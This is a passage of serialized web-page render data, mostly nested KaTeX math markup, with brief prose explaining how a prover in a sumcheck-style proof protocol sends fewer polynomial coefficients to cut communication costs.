",{"type":23,"tag":154,"props":111870,"children":111872},{"className":111871},[500,501],[111873],{"type":23,"tag":504,"props":111874,"children":111876},{"className":111875},[507],[111877],{"type":23,"tag":504,"props":111878,"children":111880},{"className":111879,"ariaHidden":513},[512],[111881,111974,112001],{"type":23,"tag":504,"props":111882,"children":111884},{"className":111883},[518],[111885,111889,111946,111951,111956,111961,111965,111970],{"type":23,"tag":504,"props":111886,"children":111888},{"className":111887,"style":2160},[523],[],{"type":23,"tag":504,"props":111890,"children":111892},{"className":111891},[529],[111893,111898],{"type":23,"tag":504,"props":111894,"children":111896},{"className":111895,"style":1136},[529,530],[111897],{"type":29,"value":111077},{"type":23,"tag":504,"props":111899,"children":111901},{"className":111900},[666],[111902],{"type":23,"tag":504,"props":111903,"children":111905},{"className":111904},[671,672],[111906,111935],{"type":23,"tag":504,"props":111907,"children":111909},{"className":111908},[677],[111910,111930],{"type":23,"tag":504,"props":111911,"children":111913},{"className":111912,"style":1180},[682],[111914],{"type":23,"tag":504,"props":111915,"children":111916},{"style":1184},[111917,111921],{"type":23,"tag":504,"props":111918,"children":111920},{"className":111919,"style":693},[692],[],{"type":23,"tag":504,"props":111922,"children":111924},{"className":111923},[698,699,700,701],[111925],{"type":23,"tag":504,"props":111926,"children":111928},{"className":111927},[529,530,701],[111929],{"type":29,"value":578},{"type":23,"tag":504,"props":111931,"children":111933},{"className":111932},[712],[111934],{"type":29,"value":715},{"type":23,"tag":504,"props":111936,"children":111938},{"className":111937},[677],[111939],{"type":23,"tag":504,"props":111940,"children":111942},{"className":111941,"style":723},[682],[111943],{"type":23,"tag":504,"props":111944,"children":111945},{},[],{"type":23,"tag":504,"props":111947,"children":111949},{"className":111948},[600],[111950],{"type":29,"value":603},{"type":23,"tag":504,"props":111952,"children":111954},{"className":111953,"style":2686},[529,530],[111955],{"type":29,"value":2689},{"type":23,"tag":504,"props":111957,"children":111959},{"className":111958},[930],[111960],{"type":29,"value":933},{"type":23,"tag":504,"props":111962,"children":111964},{"className":111963,"style":538},[537],[],{"type":23,"tag":504,"props":111966,"children":111968},{"className":111967},[543],[111969],{"type":29,"value":546},{"type":23,"tag":504,"props":111971,"children":111973},{"className":111972,"style":538},[537],[],{"type":23,"tag":504,"props":111975,"children":111977},{"className":111976},[518],[111978,111983,111988,111992,111997],{"type":23,"tag":504,"props":111979,"children":111982},{"className":111980,"style":111981},[523],"height:0.6667em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":111984,"children":111986},{"className":111985},[529,530],[111987],{"type":29,"value":68},{"type":23,"tag":504,"props":111989,"children":111991},{"className":111990,"style":1426},[537],[],{"type":23,"tag":504,"props":111993,"children":111995},{"className":111994},[1431],[111996],{"type":29,"value":6422},{"type":23,"tag":504,"props":111998,"children":112000},{"className":111999,"style":1426},[537],[],{"type":23,"tag":504,"props":112002,"children":112004},{"className":112003},[518],[112005,112009,112014],{"type":23,"tag":504,"props":112006,"children":112008},{"className":112007,"style":524},[523],[],{"type":23,"tag":504,"props":112010,"children":112012},{"className":112011},[529,530],[112013],{"type":29,"value":3003},{"type":23,"tag":504,"props":112015,"children":112017},{"className":112016,"style":2686},[529,530],[112018],{"type":29,"value":2689},{"type":29,"value":112020}," has only two coefficients. Since the verifier knows ",{"type":23,"tag":154,"props":112022,"children":112024},{"className":112023},[500,501],[112025],{"type":23,"tag":504,"props":112026,"children":112028},{"className":112027},[507],[112029],{"type":23,"tag":504,"props":112030,"children":112032},{"className":112031,"ariaHidden":513},[512],[112033,112126,112219],{"type":23,"tag":504,"props":112034,"children":112036},{"className":112035},[518],[112037,112041,112098,112103,112108,112113,112117,112122],{"type":23,"tag":504,"props":112038,"children":112040},{"className":112039,"style":2160},[523],[],{"type":23,"tag":504,"props":112042,"children":112044},{"className":112043},[529],[112045,112050],{"type":23,"tag":504,"props":112046,"children":112048},{"className":112047,"style":1136},[529,530],[112049],{"type":29,"value":111077},{"type":23,"tag":504,"props":112051,"children":112053},{"className":112052},[666],[112054],{"type":23,"tag":504,"props":112055,"children":112057},{"className":112056},[671,672],[112058,112087],{"type":23,"tag":504,"props":112059,"children":112061},{"className":112060},[677],[112062,112082],{"type":23,"tag":504,"props":112063,"children":112065},{"className":112064,"style":1180},[682],[112066],{"type":23,"tag":504,"props":112067,"children":112068},{"style":1184},[112069,112073],{"type":23,"tag":504,"props":112070,"children":112072},{"className":112071,"style":693},[692],[],{"type":23,"tag":504,"props":112074,"children":112076},{"className":112075},[698,699,700,701],[112077],{"type":23,"tag":504,"props":112078,"children":112080},{"className":112079},[529,530,701],[112081],{"type":29,"value":578},{"type":23,"tag":504,"props":112083,"children":112085},{"className":112084},[712],[112086],{"type":29,"value":715},{"type":23,"tag":504,"props":112088,"children":112090},{"className":112089},[677],[112091],{"type":23,"tag":504,"props":112092,"children":112094},{"className":112093,"style":723},[682],[112095],{"type":23,"tag":504,"props":112096,"children":112097},{},[],{"type":23,"tag":504,"props":112099,"children":112101},{"className":112100},[600],[112102],{"type":29,"value":603},{"type":23,"tag":504,"props":112104,"children":112106},{"className":112105},[529],[112107],{"type":29,"value":708},{"type":23,"tag":504,"props":112109,"children":112111},{"className":112110},[930],[112112],{"type":29,"value":933},{"type":23,"tag":504,"props":112114,"children":112116},{"className":112115,"style":1426},[537],[],{"type":23,"tag":504,"props":112118,"children":112120},{"className":112119},[1431],[112121],{"type":29,"value":6422},{"type":23,"tag":504,"props":112123,"children":112125},{"className":112124,"style":1426},[537],[],{"type":23,"tag":504,"props":112127,"children":112129},{"className":112128},[518],[112130,112134,112191,112196,112201,112206,112210,112215],{"type":23,"tag":504,"props":112131,"children":112133},{"className":112132,"style":2160},[523],[],{"type":23,"tag":504,"props":112135,"children":112137},{"className":112136},[529],[112138,112143],{"type":23,"tag":504,"props":112139,"children":112141},{"className":112140,"style":1136},[529,530],[112142],{"type":29,"value":111077},{"type":23,"tag":504,"props":112144,"children":112146},{"className":112145},[666],[112147],{"type":23,"tag":504,"props":112148,"children":112150},{"className":112149},[671,672],[112151,112180],{"type":23,"tag":504,"props":112152,"children":112154},{"className":112153},[677],[112155,112175],{"type":23,"tag":504,"props":112156,"children":112158},{"className":112157,"style":1180},[682],[112159],{"type":23,"tag":504,"props":112160,"children":112161},{"style":1184},[112162,112166],{"type":23,"tag":504,"props":112163,"children":112165},{"className":112164,"style":693},[692],[],{"type":23,"tag":504,"props":112167,"children":112169},{"className":112168},[698,699,700,701],[112170],{"type":23,"tag":504,"props":112171,"children":112173},{"className":112172},[529,530,701],[112174],{"type":29,"value":578},{"type":23,"tag":504,"props":112176,"children":112178},{"className":112177},[712],[112179],{"type":29,"value":715},{"type":23,"tag":504,"props":112181,"children":112183},{"className":112182},[677],[112184],{"type":23,"tag":504,"props":112185,"children":112187},{"className":112186,"style":723},[682],[112188],{"type":23,"tag":504,"props":112189,"children":112190},{},[],{"type":23,"tag":504,"props":112192,"children":112194},{"className":112193},[600],[112195],{"type":29,"value":603},{"type":23,"tag":504,"props":112197,"children":112199},{"className":112198},[529],[112200],{"type":29,"value":826},{"type":23,"tag":504,"props":112202,"children":112204},{"className":112203},[930],[112205],{"type":29,"value":933},{"type":23,"tag":504,"props":112207,"children":112209},{"className":112208,"style":538},[537],[],{"type":23,"tag":504,"props":112211,"children":112213},{"className":112212},[543],[112214],{"type":29,"value":546},{"type":23,"tag":504,"props":112216,"children":112218},{"className":112217,"style":538},[537],[],{"type":23,"tag":504,"props":112220,"children":112222},{"className":112221},[518],[112223,112228],{"type":23,"tag":504,"props":112224,"children":112227},{"className":112225,"style":112226},[523],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":23,"tag":504,"props":112229,"children":112231},{"className":112230},[529],[112232,112237],{"type":23,"tag":504,"props":112233,"children":112235},{"className":112234,"style":879},[529,530],[112236],{"type":29,"value":882},{"type":23,"tag":504,"props":112238,"children":112240},{"className":112239},[666],[112241],{"type":23,"tag":504,"props":112242,"children":112244},{"className":112243},[671,672],[112245,112289],{"type":23,"tag":504,"props":112246,"children":112248},{"className":112247},[677],[112249,112284],{"type":23,"tag":504,"props":112250,"children":112252},{"className":112251,"style":1180},[682],[112253],{"type":23,"tag":504,"props":112254,"children":112256},{"style":112255},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[112257,112261],{"type":23,"tag":504,"props":112258,"children":112260},{"className":112259,"style":693},[692],[],{"type":23,"tag":504,"props":112262,"children":112264},{"className":112263},[698,699,700,701],[112265],{"type":23,"tag":504,"props":112266,"children":112268},{"className":112267},[529,701],[112269,112274,112279],{"type":23,"tag":504,"props":112270,"children":112272},{"className":112271},[529,530,701],[112273],{"type":29,"value":578},{"type":23,"tag":504,"props":112275,"children":112277},{"className":112276},[1431,701],[112278],{"type":29,"value":6118},{"type":23,"tag":504,"props":112280,"children":112282},{"className":112281},[529,701],[112283],{"type":29,"value":826},{"type":23,"tag":504,"props":112285,"children":112287},{"className":112286},[712],[112288],{"type":29,"value":715},{"type":23,"tag":504,"props":112290,"children":112292},{"className":112291},[677],[112293],{"type":23,"tag":504,"props":112294,"children":112297},{"className":112295,"style":112296},[682],"height:0.2083em;",[112298],{"type":23,"tag":504,"props":112299,"children":112300},{},[],{"type":29,"value":112302}," (the previous claim), we have:",{"type":23,"tag":32,"props":112304,"children":112305},{},[112306],{"type":23,"tag":154,"props":112307,"children":112309},{"className":112308},[500,501],[112310],{"type":23,"tag":504,"props":112311,"children":112313},{"className":112312},[507],[112314],{"type":23,"tag":504,"props":112315,"children":112317},{"className":112316,"ariaHidden":513},[512],[112318,112344,112375,112406,112507,112533,112625],{"type":23,"tag":504,"props":112319,"children":112321},{"className":112320},[518],[112322,112326,112331,112335,112340],{"type":23,"tag":504,"props":112323,"children":112325},{"className":112324,"style":111981},[523],[],{"type":23,"tag":504,"props":112327,"children":112329},{"className":112328},[529,530],[112330],{"type":29,"value":68},{"type":23,"tag":504,"props":112332,"children":112334},{"className":112333,"style":1426},[537],[],{"type":23,"tag":504,"props":112336,"children":112338},{"className":112337},[1431],[112339],{"type":29,"value":6422},{"type":23,"tag":504,"props":112341,"children":112343},{"className":112342,"style":1426},[537],[],{"type":23,"tag":504,"props":112345,"children":112347},{"className":112346},[518],[112348,112352,112357,112362,112366,112371],{"type":23,"tag":504,"props":112349,"children":112351},{"className":112350,"style":2160},[523],[],{"type":23,"tag":504,"props":112353,"children":112355},{"className":112354},[600],[112356],{"type":29,"value":603},{"type":23,"tag":504,"props":112358,"children":112360},{"className":112359},[529,530],[112361],{"type":29,"value":68},{"type":23,"tag":504,"props":112363,"children":112365},{"className":112364,"style":1426},[537],[],{"type":23,"tag":504,"props":112367,"children":112369},{"className":112368},[1431],[112370],{"type":29,"value":6422},{"type":23,"tag":504,"props":112372,"children":112374},{"className":112373,"style":1426},[537],[],{"type":23,"tag":504,"props":112376,"children":112378},{"className":112377},[518],[112379,112383,112388,112393,112397,112402],{"type":23,"tag":504,"props":112380,"children":112382},{"className":112381,"style":2160},[523],[],{"type":23,"tag":504,"props":112384,"children":112386},{"className":112385},[529,530],[112387],{"type":29,"value":3003},{"type":23,"tag":504,"props":112389,"children":112391},{"className":112390},[930],[112392],{"type":29,"value":933},{"type":23,"tag":504,"props":112394,"children":112396},{"className":112395,"style":538},[537],[],{"type":23,"tag":504,"props":112398,"children":112400},{"className":112399},[543],[112401],{"type":29,"value":546},{"type":23,"tag":504,"props":112403,"children":112405},{"className":112404,"style":538},[537],[],{"type":23,"tag":504,"props":112407,"children":112409},{"className":112408},[518],[112410,112414,112485,112489,112493,112499,112503],{"type":23,"tag":504,"props":112411,"children":112413},{"className":112412,"style":112226},[523],[],{"type":23,"tag":504,"props":112415,"children":112417},{"className":112416},[529],[112418,112423],{"type":23,"tag":504,"props":112419,"children":112421},{"className":112420,"style":879},[529,530],[112422],{"type":29,"value":882},{"type":23,"tag":504,"props":112424,"children":112426},{"className":112425},[666],[112427],{"type":23,"tag":504,"props":112428,"children":112430},{"className":112429},[671,672],[112431,112474],{"type":23,"tag":504,"props":112432,"children":112434},{"className":112433},[677],[112435,112469],{"type":23,"tag":504,"props":112436,"children":112438},{"className":112437,"style":1180},[682],[112439],{"type":23,"tag":504,"props":112440,"children":112441},{"style":112255},[112442,112446],{"type":23,"tag":504,"props":112443,"children":112445},{"className":112444,"style":693},[692],[],{"type":23,"tag":504,"props":112447,"children":112449},{"className":112448},[698,699,700,701],[112450],{"type":23,"tag":504,"props":112451,"children":112453},{"className":112452},[529,701],[112454,112459,112464],{"type":23,"tag":504,"props":112455,"children":112457},{"className":112456},[529,530,701],[112458],{"type":29,"value":578},{"type":23,"tag":504,"props":112460,"children":112462},{"className":112461},[1431,701],[112463],{"type":29,"value":6118},{"type":23,"tag":504,"props":112465,"children":112467},{"className":112466},[529,701],[112468],{"type":29,"value":826},{"type":23,"tag":504,"props":112470,"children":112472},{"className":112471},[712],[112473],{"type":29,"value":715},{"type":23,"tag":504,"props":112475,"children":112477},{"className":112476},[677],[112478],{"type":23,"tag":504,"props":112479,"children":112481},{"className":112480,"style":112296},[682],[112482],{"type":23,"tag":504,"props":112483,"children":112484},{},[],{"type":23,"tag":504,"props":112486,"children":112488},{"className":112487,"style":538},[537],[],{"type":23,"tag":504,"props":112490,"children":112492},{"className":112491,"style":538},[537],[],{"type":23,"tag":504,"props":112494,"children":112496},{"className":112495},[543],[112497],{"type":29,"value":112498},"⟹",{"type":23,"tag":504,"props":112500,"children":112502},{"className":112501,"style":538},[537],[],{"type":23,"tag":504,"props":112504,"children":112506},{"className":112505,"style":538},[537],[],{"type":23,"tag":504,"props":112508,"children":112510},{"className":112509},[518],[112511,112515,112520,112524,112529],{"type":23,"tag":504,"props":112512,"children":112514},{"className":112513,"style":524},[523],[],{"type":23,"tag":504,"props":112516,"children":112518},{"className":112517},[529,530],[112519],{"type":29,"value":3003},{"type":23,"tag":504,"props":112521,"children":112523},{"className":112522,"style":538},[537],[],{"type":23,"tag":504,"props":112525,"children":112527},{"className":112526},[543],[112528],{"type":29,"value":546},{"type":23,"tag":504,"props":112530,"children":112532},{"className":112531,"style":538},[537],[],{"type":23,"tag":504,"props":112534,"children":112536},{"className":112535},[518],[112537,112541,112612,112616,112621],{"type":23,"tag":504,"props":112538,"children":112540},{"className":112539,"style":112226},[523],[],{"type":23,"tag":504,"props":112542,"children":112544},{"className":112543},[529],[112545,112550],{"type":23,"tag":504,"props":112546,"children":112548},{"className":112547,"style":879},[529,530],[112549],{"type":29,"value":882},{"type":23,"tag":504,"props":112551,"children":112553},{"className":112552},[666],[112554],{"type":23,"tag":504,"props":112555,"children":112557},{"className":112556},[671,672],[112558,112601],{"type":23,"tag":504,"props":112559,"children":112561},{"className":112560},[677],[112562,112596],{"type":23,"tag":504,"props":112563,"children":112565},{"className":112564,"style":1180},[682],[112566],{"type":23,"tag":504,"props":112567,"children":112568},{"style":112255},[112569,112573],{"type":23,"tag":504,"props":112570,"children":112572},{"className":112571,"style":693},[692],[],{"type":23,"tag":504,"props":112574,"children":112576},{"className":112575},[698,699,700,701],[112577],{"type":23,"tag":504,"props":112578,"children":112580},{"className":112579},[529,701],[112581,112586,112591],{"type":23,"tag":504,"props":112582,"children":112584},{"className":112583},[529,530,701],[112585],{"type":29,"value":578},{"type":23,"tag":504,"props":112587,"children":112589},{"className":112588},[1431,701],[112590],{"type":29,"value":6118},{"type":23,"tag":504,"props":112592,"children":112594},{"className":112593},[529,701],[112595],{"type":29,"value":826},{"type":23,"tag":504,"props":112597,"children":112599},{"className":112598},[712],[112600],{"type":29,"value":715},{"type":23,"tag":504,"props":112602,"children":112604},{"className":112603},[677],[112605],{"type":23,"tag":504,"props":112606,"children":112608},{"className":112607,"style":112296},[682],[112609],{"type":23,"tag":504,"props":112610,"children":112611},{},[],{"type":23,"tag":504,"props":112613,"children":112615},{"className":112614,"style":1426},[537],[],{"type":23,"tag":504,"props":112617,"children":112619},{"className":112618},[1431],[112620],{"type":29,"value":6118},{"type":23,"tag":504,"props":112622,"children":112624},{"className":112623,"style":1426},[537],[],{"type":23,"tag":504,"props":112626,"children":112628},{"className":112627},[518],[112629,112633,112638],{"type":23,"tag":504,"props":112630,"children":112632},{"className":112631,"style":1690},[523],[],{"type":23,"tag":504,"props":112634,"children":112636},{"className":112635},[529],[112637],{"type":29,"value":5164},{"type":23,"tag":504,"props":112639,"children":112641},{"className":112640},[529,530],[112642],{"type":29,"value":68},{"type":23,"tag":32,"props":112644,"children":112645},{},[112646,112648,112767,112769,112794],{"type":29,"value":112647},"So the prover only sends ",{"type":23,"tag":154,"props":112649,"children":112651},{"className":112650},[500,501],[112652],{"type":23,"tag":504,"props":112653,"children":112655},{"className":112654},[507],[112656],{"type":23,"tag":504,"props":112657,"children":112659},{"className":112658,"ariaHidden":513},[512],[112660,112687],{"type":23,"tag":504,"props":112661,"children":112663},{"className":112662},[518],[112664,112669,112674,112678,112683],{"type":23,"tag":504,"props":112665,"children":112668},{"className":112666,"style":112667},[523],"height:0.4306em;",[],{"type":23,"tag":504,"props":112670,"children":112672},{"className":112671},[529,530],[112673],{"type":29,"value":68},{"type":23,"tag":504,"props":112675,"children":112677},{"className":112676,"style":538},[537],[],{"type":23,"tag":504,"props":112679,"children":112681},{"className":112680},[543],[112682],{"type":29,"value":546},{"type":23,"tag":504,"props":112684,"children":112686},{"className":112685,"style":538},[537],[],{"type":23,"tag":504,"props":112688,"children":112690},{"className":112689},[518],[112691,112695,112752,112757,112762],{"type":23,"tag":504,"props":112692,"children":112694},{"className":112693,"style":2160},[523],[],{"type":23,"tag":504,"props":112696,"children":112698},{"className":112697},[529],[112699,112704],{"type":23,"tag":504,"props":112700,"children":112702},{"className":112701,"style":1136},[529,530],[112703],{"type":29,"value":111077},{"type":23,"tag":504,"props":112705,"children":112707},{"className":112706},[666],[112708],{"type":23,"tag":504,"props":112709,"children":112711},{"className":112710},[671,672],[112712,112741],{"type":23,"tag":504,"props":112713,"children":112715},{"className":112714},[677],[112716,112736],{"type":23,"tag":504,"props":112717,"children":112719},{"className":112718,"style":1180},[682],[112720],{"type":23,"tag":504,"props":112721,"children":112722},{"style":1184},[112723,112727],{"type":23,"tag":504,"props":112724,"children":112726},{"className":112725,"style":693},[692],[],{"type":23,"tag":504,"props":112728,"children":112730},{"className":112729},[698,699,700,701],[112731],{"type":23,"tag":504,"props":112732,"children":112734},{"className":112733},[529,530,701],[112735],{"type":29,"value":578},{"type":23,"tag":504,"props":112737,"children":112739},{"className":112738},[712],[112740],{"type":29,"value":715},{"type":23,"tag":504,"props":112742,"children":112744},{"className":112743},[677],[112745],{"type":23,"tag":504,"props":112746,"children":112748},{"className":112747,"style":723},[682],[112749],{"type":23,"tag":504,"props":112750,"children":112751},{},[],{"type":23,"tag":504,"props":112753,"children":112755},{"className":112754},[600],[112756],{"type":29,"value":603},{"type":23,"tag":504,"props":112758,"children":112760},{"className":112759},[529],[112761],{"type":29,"value":708},{"type":23,"tag":504,"props":112763,"children":112765},{"className":112764},[930],[112766],{"type":29,"value":933},{"type":29,"value":112768},", and the verifier recovers ",{"type":23,"tag":154,"props":112770,"children":112772},{"className":112771},[500,501],[112773],{"type":23,"tag":504,"props":112774,"children":112776},{"className":112775},[507],[112777],{"type":23,"tag":504,"props":112778,"children":112780},{"className":112779,"ariaHidden":513},[512],[112781],{"type":23,"tag":504,"props":112782,"children":112784},{"className":112783},[518],[112785,112789],{"type":23,"tag":504,"props":112786,"children":112788},{"className":112787,"style":524},[523],[],{"type":23,"tag":504,"props":112790,"children":112792},{"className":112791},[529,530],[112793],{"type":29,"value":3003},{"type":29,"value":112795},". This saves 50% on communication costs.",{"type":23,"tag":32,"props":112797,"children":112798},{},[112799],{"type":29,"value":112800},"The next claim in the chain is",{"type":23,"tag":32,"props":112802,"children":112803},{},[112804],{"type":23,"tag":154,"props":112805,"children":112807},{"className":112806},[500,501],[112808],{"type":23,"tag":504,"props":112809,"children":112811},{"className":112810},[507],[112812],{"type":23,"tag":504,"props":112813,"children":112815},{"className":112814,"ariaHidden":513},[512],[112816,112895,113040,113066,113093,113171,113197,113294,113330,113408,113444,113532,113624],{"type":23,"tag":504,"props":112817,"children":112819},{"className":112818},[518],[112820,112825,112882,112886,112891],{"type":23,"tag":504,"props":112821,"children":112824},{"className":112822,"style":112823},[523],"height:0.8333em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":112826,"children":112828},{"className":112827},[529],[112829,112834],{"type":23,"tag":504,"props":112830,"children":112832},{"className":112831,"style":879},[529,530],[112833],{"type":29,"value":882},{"type":23,"tag":504,"props":112835,"children":112837},{"className":112836},[666],[112838],{"type":23,"tag":504,"props":112839,"children":112841},{"className":112840},[671,672],[112842,112871],{"type":23,"tag":504,"props":112843,"children":112845},{"className":112844},[677],[112846,112866],{"type":23,"tag":504,"props":112847,"children":112849},{"className":112848,"style":1180},[682],[112850],{"type":23,"tag":504,"props":112851,"children":112852},{"style":112255},[112853,112857],{"type":23,"tag":504,"props":112854,"children":112856},{"className":112855,"style":693},[692],[],{"type":23,"tag":504,"props":112858,"children":112860},{"className":112859},[698,699,700,701],[112861],{"type":23,"tag":504,"props":112862,"children":112864},{"className":112863},[529,530,701],[112865],{"type":29,"value":578},{"type":23,"tag":504,"props":112867,"children":112869},{"className":112868},[712],[112870],{"type":29,"value":715},{"type":23,"tag":504,"props":112872,"children":112874},{"className":112873},[677],[112875],{"type":23,"tag":504,"props":112876,"children":112878},{"className":112877,"style":723},[682],[112879],{"type":23,"tag":504,"props":112880,"children":112881},{},[],{"type":23,"tag":504,"props":112883,"children":112885},{"className":112884,"style":538},[537],[],{"type":23,"tag":504,"props":112887,"children":112889},{"className":112888},[543],[112890],{"type":29,"value":546},{"type":23,"tag":504,"props":112892,"children":112894},{"className":112893,"style":538},[537],[],{"type":23,"tag":504,"props":112896,"children":112898},{"className":112897},[518],[112899,112903,112960,112965,113022,113027,113031,113036],{"type":23,"tag":504,"props":112900,"children":112902},{"className":112901,"style":2160},[523],[],{"type":23,"tag":504,"props":112904,"children":112906},{"className":112905},[529],[112907,112912],{"type":23,"tag":504,"props":112908,"children":112910},{"className":112909,"style":1136},[529,530],[112911],{"type":29,"value":111077},{"type":23,"tag":504,"props":112913,"children":112915},{"className":112914},[666],[112916],{"type":23,"tag":504,"props":112917,"children":112919},{"className":112918},[671,672],[112920,112949],{"type":23,"tag":504,"props":112921,"children":112923},{"className":112922},[677],[112924,112944],{"type":23,"tag":504,"props":112925,"children":112927},{"className":112926,"style":1180},[682],[112928],{"type":23,"tag":504,"props":112929,"children":112930},{"style":1184},[112931,112935],{"type":23,"tag":504,"props":112932,"children":112934},{"className":112933,"style":693},[692],[],{"type":23,"tag":504,"props":112936,"children":112938},{"className":112937},[698,699,700,701],[112939],{"type":23,"tag":504,"props":112940,"children":112942},{"className":112941},[529,530,701],[112943],{"type":29,"value":578},{"type":23,"tag":504,"props":112945,"children":112947},{"className":112946},[712],[112948],{"type":29,"value":715},{"type":23,"tag":504,"props":112950,"children":112952},{"className":112951},[677],[112953],{"type":23,"tag":504,"props":112954,"children":112956},{"className":112955,"style":723},[682],[112957],{"type":23,"tag":504,"props":112958,"children":112959},{},[],{"type":23,"tag":504,"props":112961,"children":112963},{"className":112962},[600],[112964],{"type":29,"value":603},{"type":23,"tag":504,"props":112966,"children":112968},{"className":112967},[529],[112969,112974],{"type":23,"tag":504,"props":112970,"children":112972},{"className":112971,"style":624},[529,530],[112973],{"type":29,"value":1477},{"type":23,"tag":504,"props":112975,"children":112977},{"className":112976},[666],[112978],{"type":23,"tag":504,"props":112979,"children":112981},{"className":112980},[671,672],[112982,113011],{"type":23,"tag":504,"props":112983,"children":112985},{"className":112984},[677],[112986,113006],{"type":23,"tag":504,"props":112987,"children":112989},{"className":112988,"style":1180},[682],[112990],{"type":23,"tag":504,"props":112991,"children":112992},{"style":111825},[112993,112997],{"type":23,"tag":504,"props":112994,"children":112996},{"className":112995,"style":693},[692],[],{"type":23,"tag":504,"props":112998,"children":113000},{"className":112999},[698,699,700,701],[113001],{"type":23,"tag":504,"props":113002,"children":113004},{"className":113003},[529,530,701],[113005],{"type":29,"value":578},{"type":23,"tag":504,"props":113007,"children":113009},{"className":113008},[712],[113010],{"type":29,"value":715},{"type":23,"tag":504,"props":113012,"children":113014},{"className":113013},[677],[113015],{"type":23,"tag":504,"props":113016,"children":113018},{"className":113017,"style":723},[682],[113019],{"type":23,"tag":504,"props":113020,"children":113021},{},[],{"type":23,"tag":504,"props":113023,"children":113025},{"className":113024},[930],[113026],{"type":29,"value":933},{"type":23,"tag":504,"props":113028,"children":113030},{"className":113029,"style":538},[537],[],{"type":23,"tag":504,"props":113032,"children":113034},{"className":113033},[543],[113035],{"type":29,"value":546},{"type":23,"tag":504,"props":113037,"children":113039},{"className":113038,"style":538},[537],[],{"type":23,"tag":504,"props":113041,"children":113043},{"className":113042},[518],[113044,113048,113053,113057,113062],{"type":23,"tag":504,"props":113045,"children":113047},{"className":113046,"style":111981},[523],[],{"type":23,"tag":504,"props":113049,"children":113051},{"className":113050},[529,530],[113052],{"type":29,"value":68},{"type":23,"tag":504,"props":113054,"children":113056},{"className":113055,"style":1426},[537],[],{"type":23,"tag":504,"props":113058,"children":113060},{"className":113059},[1431],[113061],{"type":29,"value":6422},{"type":23,"tag":504,"props":113063,"children":113065},{"className":113064,"style":1426},[537],[],{"type":23,"tag":504,"props":113067,"children":113069},{"className":113068},[518],[113070,113074,113079,113083,113089],{"type":23,"tag":504,"props":113071,"children":113073},{"className":113072,"style":524},[523],[],{"type":23,"tag":504,"props":113075,"children":113077},{"className":113076},[529,530],[113078],{"type":29,"value":3003},{"type":23,"tag":504,"props":113080,"children":113082},{"className":113081,"style":1426},[537],[],{"type":23,"tag":504,"props":113084,"children":113086},{"className":113085},[1431],[113087],{"type":29,"value":113088},"⋅",{"type":23,"tag":504,"props":113090,"children":113092},{"className":113091,"style":1426},[537],[],{"type":23,"tag":504,"props":113094,"children":113096},{"className":113095},[518],[113097,113101,113158,113162,113167],{"type":23,"tag":504,"props":113098,"children":113100},{"className":113099,"style":111796},[523],[],{"type":23,"tag":504,"props":113102,"children":113104},{"className":113103},[529],[113105,113110],{"type":23,"tag":504,"props":113106,"children":113108},{"className":113107,"style":624},[529,530],[113109],{"type":29,"value":1477},{"type":23,"tag":504,"props":113111,"children":113113},{"className":113112},[666],[113114],{"type":23,"tag":504,"props":113115,"children":113117},{"className":113116},[671,672],[113118,113147],{"type":23,"tag":504,"props":113119,"children":113121},{"className":113120},[677],[113122,113142],{"type":23,"tag":504,"props":113123,"children":113125},{"className":113124,"style":1180},[682],[113126],{"type":23,"tag":504,"props":113127,"children":113128},{"style":111825},[113129,113133],{"type":23,"tag":504,"props":113130,"children":113132},{"className":113131,"style":693},[692],[],{"type":23,"tag":504,"props":113134,"children":113136},{"className":113135},[698,699,700,701],[113137],{"type":23,"tag":504,"props":113138,"children":113140},{"className":113139},[529,530,701],[113141],{"type":29,"value":578},{"type":23,"tag":504,"props":113143,"children":113145},{"className":113144},[712],[113146],{"type":29,"value":715},{"type":23,"tag":504,"props":113148,"children":113150},{"className":113149},[677],[113151],{"type":23,"tag":504,"props":113152,"children":113154},{"className":113153,"style":723},[682],[113155],{"type":23,"tag":504,"props":113156,"children":113157},{},[],{"type":23,"tag":504,"props":113159,"children":113161},{"className":113160,"style":538},[537],[],{"type":23,"tag":504,"props":113163,"children":113165},{"className":113164},[543],[113166],{"type":29,"value":546},{"type":23,"tag":504,"props":113168,"children":113170},{"className":113169,"style":538},[537],[],{"type":23,"tag":504,"props":113172,"children":113174},{"className":113173},[518],[113175,113179,113184,113188,113193],{"type":23,"tag":504,"props":113176,"children":113178},{"className":113177,"style":111981},[523],[],{"type":23,"tag":504,"props":113180,"children":113182},{"className":113181},[529,530],[113183],{"type":29,"value":68},{"type":23,"tag":504,"props":113185,"children":113187},{"className":113186,"style":1426},[537],[],{"type":23,"tag":504,"props":113189,"children":113191},{"className":113190},[1431],[113192],{"type":29,"value":6422},{"type":23,"tag":504,"props":113194,"children":113196},{"className":113195,"style":1426},[537],[],{"type":23,"tag":504,"props":113198,"children":113200},{"className":113199},[518],[113201,113205,113210,113281,113285,113290],{"type":23,"tag":504,"props":113202,"children":113204},{"className":113203,"style":2160},[523],[],{"type":23,"tag":504,"props":113206,"children":113208},{"className":113207},[600],[113209],{"type":29,"value":603},{"type":23,"tag":504,"props":113211,"children":113213},{"className":113212},[529],[113214,113219],{"type":23,"tag":504,"props":113215,"children":113217},{"className":113216,"style":879},[529,530],[113218],{"type":29,"value":882},{"type":23,"tag":504,"props":113220,"children":113222},{"className":113221},[666],[113223],{"type":23,"tag":504,"props":113224,"children":113226},{"className":113225},[671,672],[113227,113270],{"type":23,"tag":504,"props":113228,"children":113230},{"className":113229},[677],[113231,113265],{"type":23,"tag":504,"props":113232,"children":113234},{"className":113233,"style":1180},[682],[113235],{"type":23,"tag":504,"props":113236,"children":113237},{"style":112255},[113238,113242],{"type":23,"tag":504,"props":113239,"children":113241},{"className":113240,"style":693},[692],[],{"type":23,"tag":504,"props":113243,"children":113245},{"className":113244},[698,699,700,701],[113246],{"type":23,"tag":504,"props":113247,"children":113249},{"className":113248},[529,701],[113250,113255,113260],{"type":23,"tag":504,"props":113251,"children":113253},{"className":113252},[529,530,701],[113254],{"type":29,"value":578},{"type":23,"tag":504,"props":113256,"children":113258},{"className":113257},[1431,701],[113259],{"type":29,"value":6118},{"type":23,"tag":504,"props":113261,"children":113263},{"className":113262},[529,701],[113264],{"type":29,"value":826},{"type":23,"tag":504,"props":113266,"children":113268},{"className":113267},[712],[113269],{"type":29,"value":715},{"type":23,"tag":504,"props":113271,"children":113273},{"className":113272},[677],[113274],{"type":23,"tag":504,"